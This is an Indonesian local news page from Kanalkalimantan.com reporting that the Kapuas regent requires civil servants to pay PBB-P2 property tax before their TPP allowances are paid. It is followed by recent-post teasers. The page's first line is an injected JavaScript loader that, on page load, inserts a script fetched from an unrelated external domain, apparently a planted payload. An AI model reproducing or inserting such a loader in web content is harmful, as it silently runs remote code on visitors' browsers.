(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Bupati Kapuas Wiyatno: Syarat Pencairan TPP ASN Wajib Bayar PBB-P2


KANALKALIMANTAN.COM, KUALA KAPUAS – Bupati Kapuas H Muhammad Wiyatno meminta seluruh kepala perangkat daerah untuk memastikan Aparatur Sipil Negara (ASN) di jajaran masing-masing SKPD telah membayar Pajak Bumi dan Bangunan Perdesaan dan Perkotaan (PBB-P2) sebagai kewajiban yang harus dipenuhi.

Hal ini disampaikan Bupati Kapuas H Muhammad Wiyatno saat membuka kegiatan Pekan Panutan Pajak Daerah On Road Show 2025 yang digelar di halaman Kantor Badan Pendapatan Daerah (Bapenda) Kapuas, Senin (21/7/2025).

Ditegaskan Bupati Wiyatno, apabila masih ada ASN yang belum melunasi PBB-P2 tahun 2025, maka kepala perangkat daerah diminta memastikan agar ASN yang bersangkutan segera melakukan pembayaran. ASN juga diminta memanfaatkan loket-loket pelayanan pajak yang telah disediakan oleh Bapenda.

Baca juga: Presiden Luncurkan Koperasi Merah Putih, Gubernur Kalsel dan Bupati Banjar Hadiri Secara Daring di Martapura

“Pelayanan loket pajak ini bekerja sama dengan pihak perbankan dan tersedia di beberapa titik mulai hari ini, 21 Juli sampai dengan 27 Juli 2025,” katanya.

Lanjut Bupati Wiyatno menjelaskan, pembayaran PBB-P2 menjadi salah satu syarat wajib dalam proses pencairan Tambahan Penghasilan Pegawai (TPP) bagi ASN. Khusus pejabat struktural eselon II, III, dan IV diwajibkan melakukan pembayaran secara non-tunai.

Baca juga: Dr Usis I Sangkai Dilantik Jabat Sekda Kabupaten Kapuas

“Jadi, pembayaran non-tunai bisa dilakukan melalui aplikasi yang telah disediakan, sesuai dengan Surat Edaran Bupati Kapuas tentang penegasan mekanisme pembayaran TPP ASN serta gaji tenaga non-ASN di lingkungan Pemkab Kapuas,” jelasnya.

Menurut Bupati Wiyatno, bahwa kebijakan ini merupakan bagian dari komitmen Pemerintah Kabupaten Kapuas dalam mendukung peningkatan indeks elektronifikasi transaksi pemerintah daerah, sekaligus mempercepat transformasi digital di sektor layanan publik. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

36 menit ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

13 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

14 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

14 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

16 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

22 jam ago

This website uses cookies.